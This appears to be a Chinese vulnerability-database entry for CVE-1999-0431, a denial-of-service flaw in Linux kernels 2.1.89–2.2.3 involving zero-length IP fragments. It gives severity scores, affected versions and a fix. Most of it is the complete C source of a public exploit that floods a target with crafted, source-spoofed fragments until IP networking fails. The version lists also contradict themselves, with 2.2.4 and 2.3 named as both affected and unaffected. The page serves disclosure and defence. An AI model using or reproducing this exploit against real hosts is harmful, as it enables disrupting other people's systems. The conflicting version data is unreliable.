CVE-1999-0431
CVSS5.0
发布时间 :1999-03-01 00:00:00
修订时间 :2008-09-09 08:34:31
NMCOES    

[原文]Linux 2.2.3 and earlier allow a remote attacker to perform an IP fragmentation attack, causing a denial of service.


[CNNVD]多个Linux Vendor Zero-Length Fragment漏洞(CNNVD-199903-015)

        Linux 2.2.3及早期版本存在漏洞。远程攻击者可以通过执行一个IP分段攻击导致服务拒绝。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.2.16Linux Kernel 2.2.16
cpe:/o:linux:linux_kernel:2.2.15:pre16Linux Kernel 2.2.15 pre16
cpe:/o:linux:linux_kernel:2.2.0Linux Kernel 2.2
cpe:/o:linux:linux_kernel:2.2.3Linux Kernel 2.2.3
cpe:/o:linux:linux_kernel:2.2.14Linux Kernel 2.2.14
cpe:/o:linux:linux_kernel:2.2.15_pre20
cpe:/o:linux:linux_kernel:2.2.12Linux Kernel 2.2.12
cpe:/o:linux:linux_kernel:2.2.10Linux Kernel 2.2.10
cpe:/o:linux:linux_kernel:2.2.16:pre6Linux Kernel 2.2.16 pre6
cpe:/o:linux:linux_kernel:2.2.15Linux Kernel 2.2.15
cpe:/o:linux:linux_kernel:2.2.13Linux Kernel 2.2.13
cpe:/o:linux:linux_kernel:2.1.89Linux Kernel 2.1.89

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0431
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0431
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199903-015
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

多个Linux Vendor Zero-Length Fragment漏洞
中危 未知
1999-03-01 00:00:00 2007-07-09 00:00:00
远程※本地  
        Linux 2.2.3及早期版本存在漏洞。远程攻击者可以通过执行一个IP分段攻击导致服务拒绝。

- 公告与补丁

        
        Linux kernel 2.2.3
        

- 漏洞信息 (20566)

Linux kernel 2.1.89/2.2.x Zero-Length Fragment Vulnerability (EDBID:20566)
linux dos
1997-12-08 Verified
0 John McDonald
N/A [点击下载]
source: http://www.securityfocus.com/bid/2247/info

Linux kernel versions 2.1.89 to 2.2.3 are vulnerable to a denial of service attack caused when a 0-length IP fragment is received, if it is the first fragment in the list. Several thousands 0-length packets must be sent in order for this to initiate a denial of service against the target. 

/*
 * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
 *
 * by horizon <jmcdonal@unf.edu>
 *
 * This sends a series of IP fragments such that a 0 length fragment is first
 * in the fragment list. This causes a reference count on the cached routing
 * information for that packet's originator to be incremented one extra time.
 * This makes it impossible for the kernel to deallocate the destination entry
 * and remove it from the cache.
 *
 * If we send enough fragments such that there are at least 4096 stranded
 * dst cache entries, then the target machine will no longer be able to
 * allocate new cache entries, and IP communication will be effectively
 * disabled. You will need to set the delay such that packets are not being
 * dropped, and you will probably need to let the program run for a few
 * minutes to have the full effect. This was written for OpenBSD and Linux.
 *
 * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

struct my_ip_header
{
	unsigned char  ip_hl:4,         /* header length */
		ip_v:4;               /* version */
	unsigned char  ip_tos;          /* type of service */
	unsigned short ip_len;          /* total length */
	unsigned short ip_id;           /* identification */
	unsigned short ip_off;          /* fragment offset field */
#define IP_RF 0x8000                    /* reserved fragment flag */
#define IP_DF 0x4000                    /* dont fragment flag */
#define IP_MF 0x2000                    /* more fragments flag */
#define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
	unsigned char  ip_ttl;          /* time to live */
	unsigned char  ip_p;                    /* protocol */
	unsigned short ip_sum;          /* checksum */
	unsigned long ip_src, ip_dst; /* source and dest address */
};

struct my_udp_header
{
	unsigned short uh_sport;
	unsigned short uh_dport;
	unsigned short uh_ulen;
	unsigned short uh_sum;
};

#define IHLEN (sizeof (struct my_ip_header))
#define UHLEN (sizeof (struct my_udp_header))

#ifdef __OpenBSD__
#define EXTRA 8
#else
#define EXTRA 0
#endif

unsigned short checksum(unsigned short *data,unsigned short length)
{
        register long value;
        u_short i;

        for(i=0;i<(length>>1);i++)
                value+=data[i];

        if((length&1)==1)
                value+=(data[i]<<8);

        value=(value&65535)+(value>>16);

        return(~value);
}

unsigned long resolve( char *hostname)
{
	long result;
	struct hostent *hp;

	if ((result=inet_addr(hostname))==-1)
	{
		if ((hp=gethostbyname(hostname))==0)
		{
			fprintf(stderr,"Can't resolve target.\n");
			exit(1);
		}
		bcopy(hp->h_addr,&result,4);
	}
	return result;
}

void usage(void)
{
	fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
	exit(0);
}


void sendem(int s, unsigned long source, unsigned long dest,
		unsigned short sport, unsigned short dport)
{
	static char buffer[8192];
	struct my_ip_header *ip;
	struct my_udp_header *udp;
	struct sockaddr_in sa;

	bzero(&sa,sizeof(struct sockaddr_in));
	sa.sin_family=AF_INET;
	sa.sin_port=htons(sport);
	sa.sin_addr.s_addr=dest;

	bzero(buffer,IHLEN+32);
	
	ip=(struct my_ip_header *)buffer;
	udp=(struct my_udp_header *)&(buffer[IHLEN]);

	ip->ip_v = 4;
	ip->ip_hl = IHLEN >>2;
	ip->ip_tos = 0;
	ip->ip_id = htons(random() & 0xFFFF);
	ip->ip_ttl = 142;
	ip->ip_p = IPPROTO_UDP;
	ip->ip_src = source;
	ip->ip_dst = dest;
	udp->uh_sport = htons(sport);
	udp->uh_dport = htons(dport);
	udp->uh_ulen = htons(64-UHLEN);
	udp->uh_sum = 0;

	/* Our first fragment will have an offset of 0, and be 32 bytes
	   long. This gets added as the only element in the fragment
	   list. */

	ip->ip_len = htons(IHLEN+32);
	ip->ip_off = htons(IP_MF);
	ip->ip_sum = 0;
	ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

	if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
		exit(1);
	}

	/* Our second fragment will have an offset of 0, and a 0 length.
	   This gets added to the list before our previous fragment,
	   making it first in line. */

	ip->ip_len = htons(IHLEN);
	ip->ip_off = htons(IP_MF);
	ip->ip_sum = 0;
	ip->ip_sum = checksum((u_short *)buffer,IHLEN);

	if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
		exit(1);
	}

	/* Our third and final frag has an offset of 4 (32 bytes), and a
	   length of 32 bytes. This passes our three frags up to ip_glue. */

	ip->ip_len = htons(IHLEN+32);
	ip->ip_off = htons(32/8);
	ip->ip_sum = 0;
	ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);

	if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
	{
		perror("sendto");
		exit(1);
	}
}

int main(int argc, char **argv)
{
	int sock;
	int on=1,i;
	unsigned long source, dest;
	unsigned short sport=53, dport=16384;
	int delay=20000, count=15000;

	if (argc<3)
		usage();	

	while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
	{
		switch (i)
		{
			case 's': sport=atoi(optarg);
				  break;
			case 'd': dport=atoi(optarg);
				  break;
			case 'n': count=atoi(optarg);
				  break;
			case 'u': delay=atoi(optarg);
				  break;
			default:  usage();
		}
	}
	
	argc-=optind;
	argv+=optind;

	source=resolve(argv[0]);
        dest=resolve(argv[1]);

	srandom(time((time_t)0)*getpid());

	if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
		perror("socket");
		exit(1);
	}

	if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
	{
		perror("setsockopt: IP_HDRINCL");
		exit(1);
	}

	fprintf(stdout,"\nStarting attack on %s ...",argv[1]);

	for (i=0; i<count; i++)
	{
		sendem(sock,source+htonl(i),dest,sport,dport);
		if (!(i%2))
			usleep(delay);
		if (!(i%100))
		{
			if (!(i%2000))
				fprintf(stdout,"\n");
			fprintf(stdout,".");
			fflush(stdout);
		}
	}

	fprintf(stdout,"\nDone.\n");
	exit(1);
}

		

- 漏洞信息

5941
Linux Kernel Zero Length IP Fragmentation DoS
Remote / Network Access Denial of Service
Loss of Availability
Exploit Public

- 漏洞描述

Linux kernel contains a flaw that may allow a remote denial of service. The issue is triggered when a 0-length IP fragment is received, if it is the first fragment in the list. A remote attacker can send several thousands 0-length packets to the target and will result in loss of availability.

- 时间线

1999-03-24 Unknow
1999-03-24 Unknow

- 解决方案

Upgrade to version 2.2.4 or higher, as it has been reported to fix this vulnerability. A patch provided by John McDonald is also available.

- 相关参考

- 漏洞作者

- 漏洞信息

Multiple Linux Vendor Zero-Length Fragment Vulnerability
Serialization Error 2247
Yes Yes
1997-12-08 12:00:00 2009-07-11 04:46:00
Posted to BugTraq on March 24, 1999 by John McDonald < jmcdonal@unf.edu >

- 受影响的程序版本

Linux kernel 2.2.17
+ Mandriva Linux Mandrake 7.2
+ S.u.S.E. Linux 7.0
+ Trustix Secure Linux 1.2
Linux kernel 2.2.16 pre6
Linux kernel 2.2.16
+ RedHat Linux 7.0
+ Sun Cobalt Qube 3
+ Sun Cobalt RaQ XTR
+ Trustix Secure Linux 1.1
Linux kernel 2.2.15 pre20
Linux kernel 2.2.15 pre16
Linux kernel 2.2.15
+ MandrakeSoft Corporate Server 1.0.1
+ Mandriva Linux Mandrake 7.1
Linux kernel 2.2.14
+ Red Hat Linux 6.2
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
+ Sun Cobalt RaQ 4
Linux kernel 2.2.13
+ S.u.S.E. Linux 6.4
+ S.u.S.E. Linux 6.3
Linux kernel 2.2.12
Linux kernel 2.2.10
+ Caldera OpenLinux 2.3
Linux kernel 2.2.3
Linux kernel 2.2
Linux kernel 2.1.89
Linux kernel 2.3.99
Linux kernel 2.3 .x
Linux kernel 2.3
Linux kernel 2.2.4

- 不受影响的程序版本

Linux kernel 2.3.99
Linux kernel 2.3 .x
Linux kernel 2.3
Linux kernel 2.2.4

- 漏洞讨论

Linux kernel versions 2.1.89 to 2.2.3 are vulnerable to a denial of service attack caused when a 0-length IP fragment is received, if it is the first fragment in the list. Several thousands 0-length packets must be sent in order for this to initiate a denial of service against the target.

- 漏洞利用

An exploit has been made available.

- 解决方案

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站